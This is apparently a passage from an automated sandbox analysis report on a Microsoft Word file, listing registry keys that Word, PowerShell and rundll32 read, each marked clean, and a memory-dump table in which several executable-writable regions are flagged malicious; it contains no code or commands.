C:\Program Files\Microsoft Office\Office14\WINWORD.EXE
@MS UI Gothic
clean
C:\Program Files\Microsoft Office\Office14\WINWORD.EXE
@NSimSun
clean
C:\Program Files\Microsoft Office\Office14\WINWORD.EXE
@PMingLiU
clean
C:\Program Files\Microsoft Office\Office14\WINWORD.EXE
@PMingLiU-ExtB
clean
C:\Program Files\Microsoft Office\Office14\WINWORD.EXE
@SimHei
clean
C:\Program Files\Microsoft Office\Office14\WINWORD.EXE
@SimSun
clean
C:\Program Files\Microsoft Office\Office14\WINWORD.EXE
@SimSun-ExtB
clean
C:\Program Files\Microsoft Office\Office14\WINWORD.EXE
Agency FB
clean
C:\Program Files\Microsoft Office\Office14\WINWORD.EXE
Aharoni
clean
C:\Program Files\Microsoft Office\Office14\WINWORD.EXE
Algerian
clean
C:\Program Files\Microsoft Office\Office14\WINWORD.EXE
Andalus
clean
C:\Program Files\Microsoft Office\Office14\WINWORD.EXE
Angsana New
clean
C:\Program Files\Microsoft Office\Office14\WINWORD.EXE
AngsanaUPC
clean
C:\Program Files\Microsoft Office\Office14\WINWORD.EXE
Aparajita
clean
C:\Program Files\Microsoft Office\Office14\WINWORD.EXE
Arabic Typesetting
clean
C:\Program Files\Microsoft Office\Office14\WINWORD.EXE
Arial
clean
C:\Program Files\Microsoft Office\Office14\WINWORD.EXE
Arial Black
clean
C:\Program Files\Microsoft Office\Office14\WINWORD.EXE
Arial Narrow
clean
C:\Program Files\Microsoft Office\Office14\WINWORD.EXE
Arial Rounded MT Bold
clean
C:\Program Files\Microsoft Office\Office14\WINWORD.EXE
Arial Unicode MS
clean
C:\Program Files\Microsoft Office\Office14\WINWORD.EXE
Baskerville Old Face
clean
C:\Program Files\Microsoft Office\Office14\WINWORD.EXE
Batang
clean
C:\Program Files\Microsoft Office\Office14\WINWORD.EXE
BatangChe
clean
C:\Program Files\Microsoft Office\Office14\WINWORD.EXE
Bauhaus 93
clean
C:\Program Files\Microsoft Office\Office14\WINWORD.EXE
Bell MT
clean
C:\Program Files\Microsoft Office\Office14\WINWORD.EXE
Berlin Sans FB
clean
C:\Program Files\Microsoft Office\Office14\WINWORD.EXE
Berlin Sans FB Demi
clean
C:\Program Files\Microsoft Office\Office14\WINWORD.EXE
Bernard MT Condensed
clean
C:\Program Files\Microsoft Office\Office14\WINWORD.EXE
Blackadder ITC
clean
C:\Program Files\Microsoft Office\Office14\WINWORD.EXE
Bodoni MT
clean
C:\Program Files\Microsoft Office\Office14\WINWORD.EXE
Bodoni MT Black
clean
C:\Program Files\Microsoft Office\Office14\WINWORD.EXE
Bodoni MT Condensed
clean
C:\Program Files\Microsoft Office\Office14\WINWORD.EXE
Bodoni MT Poster Compressed
clean
C:\Program Files\Microsoft Office\Office14\WINWORD.EXE
Book Antiqua
clean
C:\Program Files\Microsoft Office\Office14\WINWORD.EXE
Bookman Old Style
clean
C:\Program Files\Microsoft Office\Office14\WINWORD.EXE
Bookshelf Symbol 7
clean
C:\Program Files\Microsoft Office\Office14\WINWORD.EXE
Bradley Hand ITC
clean
C:\Program Files\Microsoft Office\Office14\WINWORD.EXE
Britannic Bold
clean
C:\Program Files\Microsoft Office\Office14\WINWORD.EXE
Broadway
clean
C:\Program Files\Microsoft Office\Office14\WINWORD.EXE
Browallia New
clean
C:\Program Files\Microsoft Office\Office14\WINWORD.EXE
BrowalliaUPC
clean
C:\Program Files\Microsoft Office\Office14\WINWORD.EXE
Brush Script MT
clean
C:\Program Files\Microsoft Office\Office14\WINWORD.EXE
Calibri
clean
C:\Program Files\Microsoft Office\Office14\WINWORD.EXE
Calibri Light
clean
C:\Program Files\Microsoft Office\Office14\WINWORD.EXE
Californian FB
clean
C:\Program Files\Microsoft Office\Office14\WINWORD.EXE
Calisto MT
clean
C:\Program Files\Microsoft Office\Office14\WINWORD.EXE
Cambria
clean
C:\Program Files\Microsoft Office\Office14\WINWORD.EXE
Cambria Math
clean
C:\Program Files\Microsoft Office\Office14\WINWORD.EXE
Candara
clean
C:\Program Files\Microsoft Office\Office14\WINWORD.EXE
Castellar
clean
C:\Program Files\Microsoft Office\Office14\WINWORD.EXE
Centaur
clean
C:\Program Files\Microsoft Office\Office14\WINWORD.EXE
Century
clean
C:\Program Files\Microsoft Office\Office14\WINWORD.EXE
Century Gothic
clean
C:\Program Files\Microsoft Office\Office14\WINWORD.EXE
Century Schoolbook
clean
C:\Program Files\Microsoft Office\Office14\WINWORD.EXE
Chiller
clean
C:\Program Files\Microsoft Office\Office14\WINWORD.EXE
Colonna MT
clean
C:\Program Files\Microsoft Office\Office14\WINWORD.EXE
Comic Sans MS
clean
C:\Program Files\Microsoft Office\Office14\WINWORD.EXE
Consolas
clean
C:\Program Files\Microsoft Office\Office14\WINWORD.EXE
Constantia
clean
C:\Program Files\Microsoft Office\Office14\WINWORD.EXE
Cooper Black
clean
C:\Program Files\Microsoft Office\Office14\WINWORD.EXE
Copperplate Gothic Bold
clean
C:\Program Files\Microsoft Office\Office14\WINWORD.EXE
Copperplate Gothic Light
clean
C:\Program Files\Microsoft Office\Office14\WINWORD.EXE
Corbel
clean
C:\Program Files\Microsoft Office\Office14\WINWORD.EXE
Cordia New
clean
C:\Program Files\Microsoft Office\Office14\WINWORD.EXE
CordiaUPC
clean
C:\Program Files\Microsoft Office\Office14\WINWORD.EXE
Courier New
clean
C:\Program Files\Microsoft Office\Office14\WINWORD.EXE
Curlz MT
clean
C:\Program Files\Microsoft Office\Office14\WINWORD.EXE
DaunPenh
clean
C:\Program Files\Microsoft Office\Office14\WINWORD.EXE
David
clean
C:\Program Files\Microsoft Office\Office14\WINWORD.EXE
DFKai-SB
clean
C:\Program Files\Microsoft Office\Office14\WINWORD.EXE
DilleniaUPC
clean
C:\Program Files\Microsoft Office\Office14\WINWORD.EXE
DokChampa
clean
C:\Program Files\Microsoft Office\Office14\WINWORD.EXE
Dotum
clean
C:\Program Files\Microsoft Office\Office14\WINWORD.EXE
DotumChe
clean
C:\Program Files\Microsoft Office\Office14\WINWORD.EXE
Ebrima
clean
C:\Program Files\Microsoft Office\Office14\WINWORD.EXE
Edwardian Script ITC
clean
C:\Program Files\Microsoft Office\Office14\WINWORD.EXE
Elephant
clean
C:\Program Files\Microsoft Office\Office14\WINWORD.EXE
Engravers MT
clean
C:\Program Files\Microsoft Office\Office14\WINWORD.EXE
Eras Bold ITC
clean
C:\Program Files\Microsoft Office\Office14\WINWORD.EXE
Eras Demi ITC
clean
C:\Program Files\Microsoft Office\Office14\WINWORD.EXE
Eras Light ITC
clean
C:\Program Files\Microsoft Office\Office14\WINWORD.EXE
Eras Medium ITC
clean
C:\Program Files\Microsoft Office\Office14\WINWORD.EXE
Estrangelo Edessa
clean
C:\Program Files\Microsoft Office\Office14\WINWORD.EXE
EucrosiaUPC
clean
C:\Program Files\Microsoft Office\Office14\WINWORD.EXE
Euphemia
clean
C:\Program Files\Microsoft Office\Office14\WINWORD.EXE
FangSong
clean
C:\Program Files\Microsoft Office\Office14\WINWORD.EXE
Felix Titling
clean
C:\Program Files\Microsoft Office\Office14\WINWORD.EXE
Footlight MT Light
clean
C:\Program Files\Microsoft Office\Office14\WINWORD.EXE
Forte
clean
C:\Program Files\Microsoft Office\Office14\WINWORD.EXE
Franklin Gothic Book
clean
C:\Program Files\Microsoft Office\Office14\WINWORD.EXE
Franklin Gothic Demi
clean
C:\Program Files\Microsoft Office\Office14\WINWORD.EXE
Franklin Gothic Demi Cond
clean
C:\Program Files\Microsoft Office\Office14\WINWORD.EXE
Franklin Gothic Heavy
clean
C:\Program Files\Microsoft Office\Office14\WINWORD.EXE
Franklin Gothic Medium
clean
C:\Program Files\Microsoft Office\Office14\WINWORD.EXE
Franklin Gothic Medium Cond
clean
C:\Program Files\Microsoft Office\Office14\WINWORD.EXE
FrankRuehl
clean
C:\Program Files\Microsoft Office\Office14\WINWORD.EXE
FreesiaUPC
clean
C:\Program Files\Microsoft Office\Office14\WINWORD.EXE
Freestyle Script
clean
C:\Program Files\Microsoft Office\Office14\WINWORD.EXE
French Script MT
clean
C:\Program Files\Microsoft Office\Office14\WINWORD.EXE
Gabriola
clean
C:\Program Files\Microsoft Office\Office14\WINWORD.EXE
Garamond
clean
C:\Program Files\Microsoft Office\Office14\WINWORD.EXE
Gautami
clean
C:\Program Files\Microsoft Office\Office14\WINWORD.EXE
Georgia
clean
C:\Program Files\Microsoft Office\Office14\WINWORD.EXE
Gigi
clean
C:\Program Files\Microsoft Office\Office14\WINWORD.EXE
Gill Sans MT
clean
C:\Program Files\Microsoft Office\Office14\WINWORD.EXE
Gill Sans MT Condensed
clean
C:\Program Files\Microsoft Office\Office14\WINWORD.EXE
Gill Sans MT Ext Condensed Bold
clean
C:\Program Files\Microsoft Office\Office14\WINWORD.EXE
Gill Sans Ultra Bold
clean
C:\Program Files\Microsoft Office\Office14\WINWORD.EXE
Gill Sans Ultra Bold Condensed
clean
C:\Program Files\Microsoft Office\Office14\WINWORD.EXE
Gisha
clean
C:\Program Files\Microsoft Office\Office14\WINWORD.EXE
Gloucester MT Extra Condensed
clean
C:\Program Files\Microsoft Office\Office14\WINWORD.EXE
Goudy Old Style
clean
C:\Program Files\Microsoft Office\Office14\WINWORD.EXE
Goudy Stout
clean
C:\Program Files\Microsoft Office\Office14\WINWORD.EXE
Gulim
clean
C:\Program Files\Microsoft Office\Office14\WINWORD.EXE
GulimChe
clean
C:\Program Files\Microsoft Office\Office14\WINWORD.EXE
Gungsuh
clean
C:\Program Files\Microsoft Office\Office14\WINWORD.EXE
GungsuhChe
clean
C:\Program Files\Microsoft Office\Office14\WINWORD.EXE
Haettenschweiler
clean
C:\Program Files\Microsoft Office\Office14\WINWORD.EXE
Harlow Solid Italic
clean
C:\Program Files\Microsoft Office\Office14\WINWORD.EXE
Harrington
clean
C:\Program Files\Microsoft Office\Office14\WINWORD.EXE
High Tower Text
clean
C:\Program Files\Microsoft Office\Office14\WINWORD.EXE
Impact
clean
C:\Program Files\Microsoft Office\Office14\WINWORD.EXE
Imprint MT Shadow
clean
C:\Program Files\Microsoft Office\Office14\WINWORD.EXE
Informal Roman
clean
C:\Program Files\Microsoft Office\Office14\WINWORD.EXE
IrisUPC
clean
C:\Program Files\Microsoft Office\Office14\WINWORD.EXE
Iskoola Pota
clean
C:\Program Files\Microsoft Office\Office14\WINWORD.EXE
JasmineUPC
clean
C:\Program Files\Microsoft Office\Office14\WINWORD.EXE
Jokerman
clean
C:\Program Files\Microsoft Office\Office14\WINWORD.EXE
Juice ITC
clean
C:\Program Files\Microsoft Office\Office14\WINWORD.EXE
KaiTi
clean
C:\Program Files\Microsoft Office\Office14\WINWORD.EXE
Kalinga
clean
C:\Program Files\Microsoft Office\Office14\WINWORD.EXE
Kartika
clean
C:\Program Files\Microsoft Office\Office14\WINWORD.EXE
Khmer UI
clean
C:\Program Files\Microsoft Office\Office14\WINWORD.EXE
KodchiangUPC
clean
C:\Program Files\Microsoft Office\Office14\WINWORD.EXE
Kokila
clean
C:\Program Files\Microsoft Office\Office14\WINWORD.EXE
Kristen ITC
clean
C:\Program Files\Microsoft Office\Office14\WINWORD.EXE
Kunstler Script
clean
C:\Program Files\Microsoft Office\Office14\WINWORD.EXE
Lao UI
clean
C:\Program Files\Microsoft Office\Office14\WINWORD.EXE
Latha
clean
C:\Program Files\Microsoft Office\Office14\WINWORD.EXE
Leelawadee
clean
C:\Program Files\Microsoft Office\Office14\WINWORD.EXE
Levenim MT
clean
C:\Program Files\Microsoft Office\Office14\WINWORD.EXE
LilyUPC
clean
C:\Program Files\Microsoft Office\Office14\WINWORD.EXE
Lucida Bright
clean
C:\Program Files\Microsoft Office\Office14\WINWORD.EXE
Lucida Calligraphy
clean
C:\Program Files\Microsoft Office\Office14\WINWORD.EXE
Lucida Console
clean
C:\Program Files\Microsoft Office\Office14\WINWORD.EXE
Lucida Fax
clean
C:\Program Files\Microsoft Office\Office14\WINWORD.EXE
Lucida Handwriting
clean
C:\Program Files\Microsoft Office\Office14\WINWORD.EXE
Lucida Sans
clean
C:\Program Files\Microsoft Office\Office14\WINWORD.EXE
Lucida Sans Typewriter
clean
C:\Program Files\Microsoft Office\Office14\WINWORD.EXE
Lucida Sans Unicode
clean
C:\Program Files\Microsoft Office\Office14\WINWORD.EXE
Magneto
clean
C:\Program Files\Microsoft Office\Office14\WINWORD.EXE
Maiandra GD
clean
C:\Program Files\Microsoft Office\Office14\WINWORD.EXE
Malgun Gothic
clean
C:\Program Files\Microsoft Office\Office14\WINWORD.EXE
Mangal
clean
C:\Program Files\Microsoft Office\Office14\WINWORD.EXE
Marlett
clean
C:\Program Files\Microsoft Office\Office14\WINWORD.EXE
Matura MT Script Capitals
clean
C:\Program Files\Microsoft Office\Office14\WINWORD.EXE
Meiryo
clean
C:\Program Files\Microsoft Office\Office14\WINWORD.EXE
Meiryo UI
clean
C:\Program Files\Microsoft Office\Office14\WINWORD.EXE
Microsoft Himalaya
clean
C:\Program Files\Microsoft Office\Office14\WINWORD.EXE
Microsoft JhengHei
clean
C:\Program Files\Microsoft Office\Office14\WINWORD.EXE
Microsoft New Tai Lue
clean
C:\Program Files\Microsoft Office\Office14\WINWORD.EXE
Microsoft PhagsPa
clean
C:\Program Files\Microsoft Office\Office14\WINWORD.EXE
Microsoft Sans Serif
clean
C:\Program Files\Microsoft Office\Office14\WINWORD.EXE
Microsoft Tai Le
clean
C:\Program Files\Microsoft Office\Office14\WINWORD.EXE
Microsoft Uighur
clean
C:\Program Files\Microsoft Office\Office14\WINWORD.EXE
Microsoft YaHei
clean
C:\Program Files\Microsoft Office\Office14\WINWORD.EXE
Microsoft Yi Baiti
clean
C:\Program Files\Microsoft Office\Office14\WINWORD.EXE
MingLiU
clean
C:\Program Files\Microsoft Office\Office14\WINWORD.EXE
MingLiU_HKSCS
clean
C:\Program Files\Microsoft Office\Office14\WINWORD.EXE
MingLiU_HKSCS-ExtB
clean
C:\Program Files\Microsoft Office\Office14\WINWORD.EXE
MingLiU-ExtB
clean
C:\Program Files\Microsoft Office\Office14\WINWORD.EXE
Miriam
clean
C:\Program Files\Microsoft Office\Office14\WINWORD.EXE
Miriam Fixed
clean
C:\Program Files\Microsoft Office\Office14\WINWORD.EXE
Mistral
clean
C:\Program Files\Microsoft Office\Office14\WINWORD.EXE
Modern No. 20
clean
C:\Program Files\Microsoft Office\Office14\WINWORD.EXE
Mongolian Baiti
clean
C:\Program Files\Microsoft Office\Office14\WINWORD.EXE
Monotype Corsiva
clean
C:\Program Files\Microsoft Office\Office14\WINWORD.EXE
MoolBoran
clean
C:\Program Files\Microsoft Office\Office14\WINWORD.EXE
MS Gothic
clean
C:\Program Files\Microsoft Office\Office14\WINWORD.EXE
MS Mincho
clean
C:\Program Files\Microsoft Office\Office14\WINWORD.EXE
MS Outlook
clean
C:\Program Files\Microsoft Office\Office14\WINWORD.EXE
MS PGothic
clean
C:\Program Files\Microsoft Office\Office14\WINWORD.EXE
MS PMincho
clean
C:\Program Files\Microsoft Office\Office14\WINWORD.EXE
MS Reference Sans Serif
clean
C:\Program Files\Microsoft Office\Office14\WINWORD.EXE
MS Reference Specialty
clean
C:\Program Files\Microsoft Office\Office14\WINWORD.EXE
MS UI Gothic
clean
C:\Program Files\Microsoft Office\Office14\WINWORD.EXE
MT Extra
clean
C:\Program Files\Microsoft Office\Office14\WINWORD.EXE
MV Boli
clean
C:\Program Files\Microsoft Office\Office14\WINWORD.EXE
Narkisim
clean
C:\Program Files\Microsoft Office\Office14\WINWORD.EXE
Niagara Engraved
clean
C:\Program Files\Microsoft Office\Office14\WINWORD.EXE
Niagara Solid
clean
C:\Program Files\Microsoft Office\Office14\WINWORD.EXE
NSimSun
clean
C:\Program Files\Microsoft Office\Office14\WINWORD.EXE
Nyala
clean
C:\Program Files\Microsoft Office\Office14\WINWORD.EXE
OCR A Extended
clean
C:\Program Files\Microsoft Office\Office14\WINWORD.EXE
Old English Text MT
clean
C:\Program Files\Microsoft Office\Office14\WINWORD.EXE
Onyx
clean
C:\Program Files\Microsoft Office\Office14\WINWORD.EXE
Palace Script MT
clean
C:\Program Files\Microsoft Office\Office14\WINWORD.EXE
Palatino Linotype
clean
C:\Program Files\Microsoft Office\Office14\WINWORD.EXE
Papyrus
clean
C:\Program Files\Microsoft Office\Office14\WINWORD.EXE
Parchment
clean
C:\Program Files\Microsoft Office\Office14\WINWORD.EXE
Perpetua
clean
C:\Program Files\Microsoft Office\Office14\WINWORD.EXE
Perpetua Titling MT
clean
C:\Program Files\Microsoft Office\Office14\WINWORD.EXE
Plantagenet Cherokee
clean
C:\Program Files\Microsoft Office\Office14\WINWORD.EXE
Playbill
clean
C:\Program Files\Microsoft Office\Office14\WINWORD.EXE
PMingLiU
clean
C:\Program Files\Microsoft Office\Office14\WINWORD.EXE
PMingLiU-ExtB
clean
C:\Program Files\Microsoft Office\Office14\WINWORD.EXE
Poor Richard
clean
C:\Program Files\Microsoft Office\Office14\WINWORD.EXE
Pristina
clean
C:\Program Files\Microsoft Office\Office14\WINWORD.EXE
Raavi
clean
C:\Program Files\Microsoft Office\Office14\WINWORD.EXE
Rage Italic
clean
C:\Program Files\Microsoft Office\Office14\WINWORD.EXE
Ravie
clean
C:\Program Files\Microsoft Office\Office14\WINWORD.EXE
Rockwell
clean
C:\Program Files\Microsoft Office\Office14\WINWORD.EXE
Rockwell Condensed
clean
C:\Program Files\Microsoft Office\Office14\WINWORD.EXE
Rockwell Extra Bold
clean
C:\Program Files\Microsoft Office\Office14\WINWORD.EXE
Rod
clean
C:\Program Files\Microsoft Office\Office14\WINWORD.EXE
Sakkal Majalla
clean
C:\Program Files\Microsoft Office\Office14\WINWORD.EXE
Script MT Bold
clean
C:\Program Files\Microsoft Office\Office14\WINWORD.EXE
Segoe Print
clean
C:\Program Files\Microsoft Office\Office14\WINWORD.EXE
Segoe Script
clean
C:\Program Files\Microsoft Office\Office14\WINWORD.EXE
Segoe UI
clean
C:\Program Files\Microsoft Office\Office14\WINWORD.EXE
Segoe UI Light
clean
C:\Program Files\Microsoft Office\Office14\WINWORD.EXE
Segoe UI Semibold
clean
C:\Program Files\Microsoft Office\Office14\WINWORD.EXE
Segoe UI Symbol
clean
C:\Program Files\Microsoft Office\Office14\WINWORD.EXE
Shonar Bangla
clean
C:\Program Files\Microsoft Office\Office14\WINWORD.EXE
Showcard Gothic
clean
C:\Program Files\Microsoft Office\Office14\WINWORD.EXE
Shruti
clean
C:\Program Files\Microsoft Office\Office14\WINWORD.EXE
SimHei
clean
C:\Program Files\Microsoft Office\Office14\WINWORD.EXE
Simplified Arabic
clean
C:\Program Files\Microsoft Office\Office14\WINWORD.EXE
Simplified Arabic Fixed
clean
C:\Program Files\Microsoft Office\Office14\WINWORD.EXE
SimSun
clean
C:\Program Files\Microsoft Office\Office14\WINWORD.EXE
SimSun-ExtB
clean
C:\Program Files\Microsoft Office\Office14\WINWORD.EXE
Snap ITC
clean
C:\Program Files\Microsoft Office\Office14\WINWORD.EXE
Stencil
clean
C:\Program Files\Microsoft Office\Office14\WINWORD.EXE
Sylfaen
clean
C:\Program Files\Microsoft Office\Office14\WINWORD.EXE
Symbol
clean
C:\Program Files\Microsoft Office\Office14\WINWORD.EXE
Tahoma
clean
C:\Program Files\Microsoft Office\Office14\WINWORD.EXE
Tempus Sans ITC
clean
C:\Program Files\Microsoft Office\Office14\WINWORD.EXE
Times New Roman
clean
C:\Program Files\Microsoft Office\Office14\WINWORD.EXE
Traditional Arabic
clean
C:\Program Files\Microsoft Office\Office14\WINWORD.EXE
Trebuchet MS
clean
C:\Program Files\Microsoft Office\Office14\WINWORD.EXE
Tunga
clean
C:\Program Files\Microsoft Office\Office14\WINWORD.EXE
Tw Cen MT
clean
C:\Program Files\Microsoft Office\Office14\WINWORD.EXE
Tw Cen MT Condensed
clean
C:\Program Files\Microsoft Office\Office14\WINWORD.EXE
Tw Cen MT Condensed Extra Bold
clean
C:\Program Files\Microsoft Office\Office14\WINWORD.EXE
Utsaah
clean
C:\Program Files\Microsoft Office\Office14\WINWORD.EXE
Vani
clean
C:\Program Files\Microsoft Office\Office14\WINWORD.EXE
Verdana
clean
C:\Program Files\Microsoft Office\Office14\WINWORD.EXE
Vijaya
clean
C:\Program Files\Microsoft Office\Office14\WINWORD.EXE
Viner Hand ITC
clean
C:\Program Files\Microsoft Office\Office14\WINWORD.EXE
Vivaldi
clean
C:\Program Files\Microsoft Office\Office14\WINWORD.EXE
Vladimir Script
clean
C:\Program Files\Microsoft Office\Office14\WINWORD.EXE
Vrinda
clean
C:\Program Files\Microsoft Office\Office14\WINWORD.EXE
Webdings
clean
C:\Program Files\Microsoft Office\Office14\WINWORD.EXE
Wide Latin
clean
C:\Program Files\Microsoft Office\Office14\WINWORD.EXE
Wingdings
clean
C:\Program Files\Microsoft Office\Office14\WINWORD.EXE
Wingdings 2
clean
C:\Program Files\Microsoft Office\Office14\WINWORD.EXE
Wingdings 3
clean
C:\Program Files\Microsoft Office\Office14\WINWORD.EXE
Cambria Math
clean
C:\Program Files\Microsoft Office\Office14\WINWORD.EXE
Tahoma
clean
C:\Program Files\Microsoft Office\Office14\WINWORD.EXE
F5D6C
clean
C:\Program Files\Microsoft Office\Office14\WINWORD.EXE
LastPurgeTime
clean
C:\Program Files\Microsoft Office\Office14\WINWORD.EXE
1033
clean
C:\Program Files\Microsoft Office\Office14\WINWORD.EXE
1033
clean
C:\Program Files\Microsoft Office\Office14\WINWORD.EXE
WORDFiles
clean
C:\Program Files\Microsoft Office\Office14\WINWORD.EXE
ProductFiles
clean
C:\Program Files\Microsoft Office\Office14\WINWORD.EXE
ProductFiles
clean
C:\Program Files\Microsoft Office\Office14\WINWORD.EXE
SpellingAndGrammarFiles_3082
clean
C:\Program Files\Microsoft Office\Office14\WINWORD.EXE
SpellingAndGrammarFiles_3082
clean
C:\Program Files\Microsoft Office\Office14\WINWORD.EXE
SpellingAndGrammarFiles_1036
clean
C:\Program Files\Microsoft Office\Office14\WINWORD.EXE
SpellingAndGrammarFiles_1036
clean
C:\Program Files\Microsoft Office\Office14\WINWORD.EXE
SpellingAndGrammarFiles_1033
clean
C:\Program Files\Microsoft Office\Office14\WINWORD.EXE
SpellingAndGrammarFiles_1033
clean
C:\Program Files\Microsoft Office\Office14\WINWORD.EXE
SpellingAndGrammarFiles_3082
clean
C:\Program Files\Microsoft Office\Office14\WINWORD.EXE
SpellingAndGrammarFiles_3082
clean
C:\Program Files\Microsoft Office\Office14\WINWORD.EXE
SpellingAndGrammarFiles_1036
clean
C:\Program Files\Microsoft Office\Office14\WINWORD.EXE
SpellingAndGrammarFiles_1036
clean
C:\Program Files\Microsoft Office\Office14\WINWORD.EXE
SpellingAndGrammarFiles_1033
clean
C:\Program Files\Microsoft Office\Office14\WINWORD.EXE
SpellingAndGrammarFiles_1033
clean
C:\Program Files\Microsoft Office\Office14\WINWORD.EXE
SpellingAndGrammarFiles_1033
clean
C:\Program Files\Microsoft Office\Office14\WINWORD.EXE
SpellingAndGrammarFiles_1033
clean
C:\Program Files\Microsoft Office\Office14\WINWORD.EXE
SpellingAndGrammarFiles_1033
clean
C:\Program Files\Microsoft Office\Office14\WINWORD.EXE
SpellingAndGrammarFiles_1033
clean
C:\Program Files\Microsoft Office\Office14\WINWORD.EXE
ProductFiles
clean
C:\Program Files\Microsoft Office\Office14\WINWORD.EXE
ProductFiles
clean
C:\Program Files\Microsoft Office\Office14\WINWORD.EXE
F5D6C
clean
C:\Program Files\Microsoft Office\Office14\WINWORD.EXE
Settings
clean
C:\Program Files\Microsoft Office\Office14\WINWORD.EXE
ZoomApp
clean
C:\Program Files\Microsoft Office\Office14\WINWORD.EXE
ProductFiles
clean
C:\Program Files\Microsoft Office\Office14\WINWORD.EXE
ProductFiles
clean
C:\Program Files\Microsoft Office\Office14\WINWORD.EXE
MTTF
clean
C:\Program Files\Microsoft Office\Office14\WINWORD.EXE
MTTA
clean
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
EnableFileTracing
clean
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
EnableConsoleTracing
clean
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
FileTracingMask
clean
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
ConsoleTracingMask
clean
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
MaxFileSize
clean
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
FileDirectory
clean
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
EnableFileTracing
clean
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
EnableConsoleTracing
clean
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
FileTracingMask
clean
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
ConsoleTracingMask
clean
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
MaxFileSize
clean
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
FileDirectory
clean
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
@%SystemRoot%\system32\qagentrt.dll,-10
clean
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
@%SystemRoot%\System32\fveui.dll,-843
clean
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
@%SystemRoot%\System32\fveui.dll,-844
clean
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
@%SystemRoot%\System32\wuaueng.dll,-400
clean
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
Blob
clean
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
Blob
clean
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
Blob
clean
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
Blob
clean
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
Blob
clean
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
Blob
clean
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
Blob
clean
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
Blob
clean
C:\Windows\SysWOW64\rundll32.exe
SavedLegacySettings
clean
There are 338 hidden registries, click here to show them.

Memdumps

Base Address
Regiontype
Protect
Malicious
200000
unkown
page execute and read and write
malicious
1C0000
unkown
page execute and read and write
malicious
10000000
unkown
page execute and read and write
malicious
10000000
unkown
page execute and read and write
malicious
1E0000
unkown
page execute and read and write
malicious
10000000
unkown
page execute and read and write
malicious
220000
unkown
page execute and read and write
malicious
1E0000
unkown
page execute and read and write
malicious
3B0000
unkown
page execute and read and write
malicious
1C0000
unkown
page execute and read and write
malicious
250000
unkown
page execute and read and write
malicious
10000000
unkown
page execute and read and write
malicious
180000
unkown
page execute and read and write
malicious
10000000
unkown
page execute and read and write
malicious
170000
unkown
page execute and read and write
malicious
1A0000
unkown
page execute and read and write
malicious
10000000
unkown
page execute and read and write
malicious
1F0000
unkown
page execute and read and write
malicious
C40000
unkown
page readonly
clean
1CDBC000
unkown
page read and write
clean
35E3000
unkown
page read and write
clean
2350000
unkown
page read and write
clean
27EE000
unkown
page read and write
clean
17C000
stack
page read and write
clean
D0000
unkown
page readonly
clean
20000
unkown
page readonly
clean
500000
unkown
page readonly
clean
1D0000
heap private
page read and write
clean
C0000
unkown
page readonly
clean
B34000
heap private
page read and write
clean
29C000
stack
page read and write
clean
227000
heap default
page read and write
clean
1BD0000
unkown
page read and write
clean
1E0000
heap private
page read and write
clean
26B0000
unkown
page read and write
clean
507000
heap default
page read and write
clean
9A0000
heap private
page read and write
clean
4F0000
unkown
page readonly
clean
2B5A000
unkown
page read and write
clean
7FF00180000
unkown
page execute and read and write
clean
532000
heap private
page read and write
clean
10000000
unkown image
page readonly
clean
1DC000
unkown
page read and write
clean
5B7000
heap default
page read and write
clean
2AD0000
heap private
page read and write
clean
1CE39000
unkown
page read and write
clean
2CD6000
unkown
page read and write
clean
2B80000
heap private
page read and write
clean
358B000
unkown
page read and write
clean
3D3000
unkown
page execute and read and write
clean
1ACA0000
unkown
page read and write
clean
22D000
heap default
page read and write
clean
1BA60000
heap private
page read and write
clean
537000
heap default
page read and write
clean
160000
unkown
page read and write
clean
550000
heap default
page read and write
clean
7FF001A0000
unkown
page read and write
clean
32F000
stack
page read and write
clean
3A0000
unkown
page readonly
clean
1CDBF000
unkown
page read and write
clean
36E000
heap default
page read and write
clean
7FF00042000
unkown
page execute and read and write
clean
26B0000
unkown
page read and write
clean
1CD42000
unkown
page read and write
clean
26B0000
unkown
page read and write
clean
B7C000
unkown
page read and write
clean
2040000
unkown
page readonly
clean
9FF000
unkown
page read and write
clean
26B0000
unkown
page read and write
clean
2EDF000
unkown
page read and write
clean
7FF001C0000
unkown
page read and write
clean
2100000
heap private
page read and write
clean
7FF00230000
unkown
page read and write
clean
600000
heap default
page read and write
clean
10000000
unkown image
page readonly
clean
2227000
unkown
page readonly
clean
2CA1000
unkown
page read and write
clean
3D1000
unkown
page execute and read and write
clean
780000
unkown
page readonly
clean
3B92000
unkown
page read and write
clean
9A4000
heap private
page read and write
clean
1DC0000
unkown
page readonly
clean
1CAF3000
heap private
page read and write
clean
243000
unkown
page execute and read and write
clean
9ED000
unkown
page read and write
clean
1C06000
unkown
page read and write
clean
1CE38000
unkown
page read and write
clean
1CDB7000
unkown
page read and write
clean
35E6000
unkown
page read and write
clean
190000
unkown
page execute and read and write
clean
203000
unkown
page execute and read and write
clean
1CD42000
unkown
page read and write
clean
EB000
unkown
page read and write
clean
35D0000
unkown
page read and write
clean
120000
unkown
page readonly
clean
5B0000
heap default
page read and write
clean
15A000
stack
page read and write
clean
272D000
unkown
page read and write
clean
2B60000
unkown
page readonly
clean
426000
unkown
page read and write
clean
9B0000
heap private
page read and write
clean
D4000
